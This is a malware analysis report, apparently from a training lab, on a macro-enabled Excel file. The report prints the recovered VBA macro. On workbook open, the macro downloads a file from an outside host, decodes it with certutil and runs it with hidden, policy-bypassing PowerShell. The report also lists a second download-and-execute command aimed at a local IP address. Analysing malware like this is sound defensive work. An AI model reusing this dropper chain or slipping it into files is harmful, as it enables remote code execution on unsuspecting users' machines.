Malware Analysis Report

sheetsForFinancial.xlsm

Malware Analyst: Giovanni Ocasio

Contents

Executive Summary 3

Static Analysis 4

- **Manual Review** 4
- **Oledump.py** 5
- **Strings** 7

Executive Summary

Analysis of the extracted artifacts indicates that the sample is a Microsoft Excel document with embedded VBA macros designed to execute a multi-stage, fileless-style payload delivery chain. The presence of a `vbaProject.bin` file within the workbook structure confirms macro-enabled functionality, and further inspection via string extraction and `oledump.py` reveals embedded command execution logic and external network communication.

The macro content demonstrates clear intent to retrieve and execute remote malicious payloads. Specifically, the document references external infrastructure hosted on both internal and local IP ranges, including `srv3.wonderballfinancial.local` and `192.168.92.136:8080`. These endpoints are used to deliver encoded payloads (e.g., `abc123.crt`, `b64.crt`) that are subsequently decoded using `certutil`, a legitimate Windows utility commonly abused for malicious purposes.

The execution chain relies on staging techniques that decode Base64-encoded content into PowerShell scripts (`run.ps1`, `decoded.ps1`) and then executes them using PowerShell with execution policy bypass (`-ep bypass`) and hidden window execution (`-W Hidden`). This strongly indicates an attempt to evade endpoint detection and user visibility while enabling arbitrary code execution on the host system.

Key indicators of malicious intent include:

- Abuse of `certutil.exe` for payload decoding
- Execution of PowerShell with bypassed security controls
- Use of obfuscated or encoded payloads (Base64 strings observed in VBA stream)
- Downloading remote files from suspicious HTTP endpoints
- Potential use of living-off-the-land binaries (LOLBins) to reduce detection footprint

Overall, the malware appears designed for initial access and remote code execution, likely serving as a downloader or dropper. Its architecture suggests an attacker aiming to establish a foothold on the target system, decode and execute secondary payloads, and potentially enable further post-exploitation activity such as persistence, lateral movement, or credential harvesting.

Static Analysis

Manual Review

Unzipping the potential malware sample reveals that this is an Excel sheet with macros enabled. The means that the document may contain VBA scripts embedded within it:

```
remnux@remnux: ~/MalAnalysis/xl
remnux@remnux:~/MalAnalysis$ unzip sheetsForFinancial.xlsm
Archive:  sheetsForFinancial.xlsm
  inflating: [Content_Types].xml
  inflating: _rels/.rels
  inflating: xl/workbook.xml
  inflating: xl/_rels/workbook.xml.rels
  inflating: xl/worksheets/sheet1.xml
  inflating: xl/theme/theme1.xml
  inflating: xl/styles.xml
  inflating: xl/sharedStrings.xml
  inflating: xl/vbaProject.bin
  inflating: xl/worksheets/_rels/sheet1.xml.rels
  inflating: xl/printerSettings/printerSettings1.bin
  inflating: docProps/core.xml
  inflating: docProps/app.xml
```

Another indicator of embedded VBA scripts is the *vbaProject.bin* file located within the xl directory:

```
remnux@remnux: ~/MalAnalysis/xl
remnux@remnux:~/MalAnalysis$ unzip sheetsForFinancial.xlsm
Archive:  sheetsForFinancial.xlsm
  inflating: [Content_Types].xml
  inflating: _rels/.rels
  inflating: xl/workbook.xml
  inflating: xl/_rels/workbook.xml.rels
  inflating: xl/worksheets/sheet1.xml
  inflating: xl/theme/theme1.xml
  inflating: xl/styles.xml
  inflating: xl/sharedStrings.xml
  inflating: xl/vbaProject.bin
  inflating: xl/worksheets/_rels/sheet1.xml.rels
  inflating: xl/printerSettings/printerSettings1.bin
  inflating: docProps/core.xml
  inflating: docProps/app.xml
```

Using the *cat* command, we can view some of the readable content of the file. We can see some URLs being referenced and some commands being run (View **Strings**):

```
F0A0R0000000wgd2l0aCB5b3VyIG93biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWFzLiBEby5b3UgbmVlZCBhIG1hbmFnZXI/CgpNdXN0IGdvIGZhc3Rlci4uLiBnbywgZ28h
IFRoaXMgdGhpbmcgY29tZXMgZnVsbHkgbG9hZGVkLiBBTS9GTSByYWRpbywgcmVjbGluaW5nIGJ1Y2tldC'\bmVl0kWQgd2l0aCB0aGUgZmF0IGxhZHkhIERyaXZlIHVzIG91dCBvZiBoZXJlISBGb3JnZXQgdGhlIGZhdCBsYWR5ISBZb3UncmUgb2JzZXNzZWQg'dTSBy0kWQgd2l
0aCB0aGUgZmF0IGxhZHkhIERyaXZlIHVzIG91dCBvZiBoZXJlISBGb3JnZXQgdGhlIGZhdCBsYWR5ISBZb3UncmUgb2JzZXNzZWQg'hIHdp0<Z2V0IG15IGVzcHJlc3NvIG1hY2hpbmU/IEp1c3QgbXkgbHVjaywgbm8gaWNlLiBZb3UncmUgYSB2ZXJ5IHRhbGVudGVkIHlvdW5nIG
1hbiwgd2l0aCB5b3VyIG93biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG15IGVzcHJlc3NvIG1hY2hpbmU/IEp1c3QgbXkgbHVjaywgbm8gaWNlLiBZb3UncmUgYSB2ZXJ5IHRhbGVudGVkIHlvdW5nIG1hbiwgd2l0aCB5b3VyIG93biBjbGV2ZXIgdGhvdWdodHMgYW5kIGl
kZW'lIHVzl0(F0
A@R0000H0GET00http://srv3.wonderballfinancial.local/abc123.crt0 4B@00cmd /c certutil -decode encd.crt run.ps1 & c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ep bypass -W Hidden .\run.ps1A@@000000000
000Attribute Vb_Name = "Module1"
Function genStr(Length As Integer)
Dim chars,VarPiant*x"L0ongstr 0i$
  If R< 1 hen  Exit |End!,

j= Array("a0", "bc0defg0hij_NT"klmnUopqrUstuv0wx%y0z0120345670789!V@%#$%U^&*AUBCDE0FGH%0IJKL0MNOP0QRSTZUV0W0X%YZ"}  `For x@00moqAV  Rand`omize0A}=* A&00(00((0UBound(Bs ) - L0+ @1) * R@}+0)Next 0x0r@@#000A0I0 Sub
 Workboo0k_Open(0OAA@@1:00(I7xHtt0p: Se0 00CreateObject("Microsoft.0XMLHTTPCL
"wgd2l0aCB5b3VyIG93biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWFzLiBEby0                    02@
nbywgZ28s0LCB0hIF RoaXMapbmcgY29tZ0ZnVsbHkgbG9hZGVkBTS9GT0SByYWRp0VlZCBcmV`luaW5nIGJ1Y20tldC00  ua+b04m'B'A00b.0eamp&3aSWQ0&0aG UgZmFxhZHkhIERyaXZlIHVz0)1dCBvZiBoZXJlIS`BGb3J$0G0hl#0s05`0Zb3Uncm*2JzZXNzZ0
   L0>.G "G
E"eh!A//srv3.wonderballfinancial.local/abc@123.cr0F8alsDc0#
                                                Se\nd0Y0&0Q90Q090Qwi000)K.Typa01 '//rb0ry
                                                                                    0Lw

over0kresp0onseBod-savetofile "encd0A
      ra00`5 : : ;X :T: 6!Z2V0H15IGVz0cHJlc3N0g 1hY2h0aU/IEp1c3Qg0bX@aHVja0hbm8gaWNl#@b0GYSB@wJ50IHRhI\2Shell ("cmd /c certutil -decode # run.s1 `a:\Wi@cws\SysWOW64Power"\v1.0\p0s!.exe -ep bypass -W Hidden _0\0)D
(Sub0a@00h0000000
```

```
"Microsoft.XMLHTTVBE7.DLL
                                    !     "h
                                          Adodb.Stream
                                                GET
                                                  Dhttp://192.168.92.136:8080/b64.crOpeSenTypresponseBody
write

encoded_ps1.crtsavetofile
                          cmd /c certutil -decode b64.crt decoded.ps1 & c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ep bypass -W Hidden .\decoded.ps1
```

Oledump.py

Using a tool known as *oledump.py* we are able to extract more information. Using this tool we can see what stream has macros enabled:

```
remnux@remnux:~/MalAnalysis$ oledump.py sheetsForFinancial.xlsm
A: xl/vbaProject.bin
 A1:       468 'PROJECT'
 A2:        86 'PROJECTwm'
 A3: M    7829 'VBA/Module1'
 A4: m    1196 'VBA/Sheet1'
 A5: m    1204 'VBA/ThisWorkbook'
 A6:      3130 'VBA/_VBA_PROJECT'
 A7:      4020 'VBA/__SRP_0'
 A8:       272 'VBA/__SRP_1'
 A9:      3892 'VBA/__SRP_2'
A10:       220 'VBA/__SRP_3'
A11:       680 'VBA/__SRP_4'
A12:       106 'VBA/__SRP_5'
A13:       464 'VBA/__SRP_6'
A14:       106 'VBA/__SRP_7'
A15:       562 'VBA/dir'
```

With this information we can pull the hexdump of the .bin file and confirm that the strings we previously found are here:

```
000017D0: 47 6C 6B 5A 57 27 00 6C  02 49 48 56 7A 5D 00 F5  GlkZW'.l.IHVz]..
000017E0: 04 28 01 00 00 46 00 00  00 AC 00 0A 00 1D 00 41  .(...F.........A
000017F0: 40 52 02 01 00 FF FF FF  FF 48 01 00 00 B9 00 03  @R.......H......
00001800: 00 47 45 54 00 B9 00 30  00 68 74 74 70 3A 2F 2F  .GET...0.http://
00001810: 73 72 76 33 2E 77 6F 6E  64 65 72 62 61 6C 6C 66  srv3.wonderballf
00001820: 69 6E 61 6E 63 69 61 6C  2E 6C 6F 63 61 6C 2F 61  inancial.local/a
00001830: 62 63 31 32 33 2E 63 72  74 BA 00 20 00 34 02 42  bc123.crt.. .4.B
00001840: 40 16 01 03 00 B9 00 83  00 63 6D 64 20 2F 63 20  @........cmd /c
00001850: 63 65 72 74 75 74 69 6C  20 2D 64 65 63 6F 64 65  certutil -decode
00001860: 20 65 6E 63 64 2E 63 72  74 20 72 75 6E 2E 70 73   encd.crt run.ps
00001870: 31 20 26 20 63 3A 5C 57  69 6E 64 6F 77 73 5C 53  1 & c:\Windows\S
00001880: 79 73 57 4F 57 36 34 5C  57 69 6E 64 6F 77 73 50  ysWOW64\WindowsP
00001890: 6F 77 65 72 53 68 65 6C  6C 5C 76 31 2E 30 5C 70  owerShell\v1.0\p
000018A0: 6F 77 65 72 73 68 65 6C  6C 2E 65 78 65 20 2D 65  owershell.exe -e
000018B0: 70 20 62 79 70 61 73 73  20 2D 57 20 48 69 64 64  p bypass -W Hidd
000018C0: 65 6E 20 2E 5C 72 75 6E  2E 70 73 31 00 1D 00 41  en .\run.ps1...A
000018D0: 40 40 02 01 00 FF FF FF  FF C8 07 00 00 FF FF FF  @@..............
000018E0: FF 00 00 01 AE B5 00 41  74 74 72 69 62 75 74 00  .......Attribut.
000018F0: 65 20 56 42 5F 4E 61 6D  00 65 20 3D 20 22 4D 6F  e VB_Nam.e = "Mo
00001900: 64 00 75 6C 65 31 22 0D  0A 46 00 75 6E 63 74 69  d.ule1"..F.uncti
00001910: 6F 6E 20 00 67 65 6E 53  74 72 28 4C 00 65 6E 67  on .genStr(L.eng
00001920: 74 68 20 41 73 00 20 49  6E 74 65 67 65 72 00 29  th As. Integer.)
00001930: 0D 0A 44 69 6D 20 63 10  68 61 72 73 01 2C 56 61  ..Dim c.hars.,Va
00001940: 72 50 69 61 6E 74 03 2A  78 01 22 4C 88 6F 6E 67  rPiant.*x."L.ong
00001950: 03 1C 73 74 72 01 20 05  00 8E 69 01 24 0D 0A 20  ..str. ...i.$..
00001960: 20 49 04 66 20 04 52 3C  20 31 20 54 08 68 65 6E   I.f .R< 1 T.hen
00001970: 01 15 20 20 45 78 18 69  74 20 05 7C 01 12 45 6E  ..  Ex.it .|..En
```

Digging deeper, we can find a few strings that maybe Base64 encoded:

```
remnux@remnux:~/MalAnalysis$ oledump.py -s 3 -S sheetsForFinancial.xlsm
Microsoft.XMLHTTP
Adodb.Stream$
encd.crt
//overwrite
//binary
wgd2l0aCB5b3VyIG93biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWFzLiBEbyB5b3UgbmVlZCBhIG1hbmFnZXI/CgpNdXN0IGdvIGZhc3Rlci4uLiBnbywgZ28sIGdvLCBnbywgZ28hIFRoaXMgdGhpbmcgY29tZXMgZnVsbHkgbG9hZGVkLiBBTS9GTSByYWRpbywgcmVjbGluaW5nI
GJ1Y2tldC'
bmVl
WQgd2l0aCB0aGUgZmF0IGxhZHkhIERyaXZlIHVzIG91dCBvZiBoZXJlISBGb3JnZXQgdGhlIGZhdCBsYWR5ISBZb3UncmUgb2JzZXNzZWQg
TSBy
WQgd2l0aCB0aGUgZmF0IGxhZHkhIERyaXZlIHVzIG91dCBvZiBoZXJlISBGb3JnZXQgdGhlIGZhdCBsYWR5ISBZb3UncmUgb2JzZXNzZWQg
IHdp
Z2V0IG15IGVzcHJlc3NvIG1hY2hpbmU/IEp1c3QgbXkgbHVjaywgbm8gaWNlLiBZb3UncmUgYSB2ZXJ5IHRhbGVudGVkIHlvdW5nIG1hbiwgd2l0aCB5b3VyIG93biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG15IGVzcHJlc3NvIG1hY2hpbmU/IEp1c3QgbXkgbHVjaywgb
m8gaWNlLiBZb3UncmUgYSB2ZXJ5IHRhbGVudGVkIHlvdW5nIG1hbiwgd2l0aCB5b3VyIG93biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZW'
IHVz]
http:///srv3.wonderballfinancial.local/abc123.crt
cmd /c certutil -decode encd.crt run.ps1 & c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ep bypass -W Hidden .\run.ps1
Attribut
e VB_Nam
e = "Mod
ule1"
unction
genStr(L
ength As
 Integer
Dim c
hars
,VarPiant
R< 1 T
  Ex
End!
```

Lastly, we were able to extract the exact VBScript:

```
remnux@remnux:~/MalAnalysis$ oledump.py -s 3 --vbadecompresscorrupt sheetsForFinancial.xlsm
Attribute VB_Name = "Module1"
Function genStr(Length As Integer)
Dim chars As Variant
Dim x As Long
Dim str As String

  If Length < 1 Then
    Exit Function
  End If

chars = Array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", _
  "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", _
  "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "!", "@", _
  "#", "$", "%", "^", "&", "*", "A", "B", "C", "D", "E", "F", "G", "H", _
  "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", _
  "W", "X", "Y", "Z")
  For x = 1 To Length
    Randomize
    str = str & chars(Int((UBound(chars) - LBound(chars) + 1) * Rnd + LBound(chars)))
  Next x

  randStr = str

End Function
        Sub Workbook_Open()
            Dim str1: genStr (17)
            Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
            str2 = "wgd2l0aCB5b3VyIG93biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWFzLiBEbyB5b3UgbmVlZCBhIG1hbmFnZXI/CgpNdXN0IGdvIGZhc3Rlci4uLiBnbywgZ28sIGdvLCBnbywgZ28hIFRoaXMgdGhpbmcgY29tZXMgZnVsbHkgbG9hZGVkLiBBTS9GTSByYWRpbywgcmVjbGluaW5nIGJ1Y2tldC"
            Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
            str3 = "WQgd2l0aCB0aGUgZmF0IGxhZHkhIERyaXZlIHVzIG91dCBvZiBoZXJlISBGb3JnZXQgdGhlIGZhdCBsYWR5ISBZb3UncmUgb2JzZXNzZWQg"
            xHttp.Open "GET", "http://srv3.wonderballfinancial.local/abc123.crt", False
            xHttp.Send
            Dim str9: genStr (10)
            With bStrm
             .Type = 1 '//binary
             .Open
             .write xHttp.responseBody
             .savetofile "encd.crt", 2 '//overwrite
            End With
            str5 = "WQgd2l0aCB0aGUgZmF0IGxhZHkhIERyaXZlIHVzIG91dCBvZiBoZXJlISBGb3JnZXQgdGhlIGZhdCBsYWR5ISBZb3UncmUgb2JzZXNzZWQg"
            str6 = "Z2V0IG15IGVzcHJlc3NvIG1hY2hpbmU/IEp1c3QgbXkgbHVjaywgbm8gaWNlLiBZb3UncmUgYSB2ZXJ5IHRhbGVudGVkIHlvdW5nIG1hbiwgd2l0aCB5b3VyIG93biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZW"
lvdW5nIG1hbiwgd2l0aCB5b3VyIG93biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZW'
            Shell ("cmd /c certutil -decode encd.crt run.ps1 & c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ep bypass -W Hidden .\run.ps1")
        End Sub
```

Strings

http://srv3.wonderballfinancial.local/abc123.crt

cmd /c certutil -decode encd.crt run.ps1 &
c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ep bypass -W Hidden
.\run.ps1

"cmd /c certutil -decode # run.s1 `a:\Wi@cws\SysWOW64Power"\v1.0\p□s!.exe -ep bypass -W Hidden

C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications□*\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE#Microsoft Excel 16.0 Object Library□*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library

http://192.168.92.136:8080/b64.crOpeSenTypresponseBody

cmd /c certutil -decode b64.crt decoded.ps1 &
c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ep bypass -W Hidden
.\decoded.ps1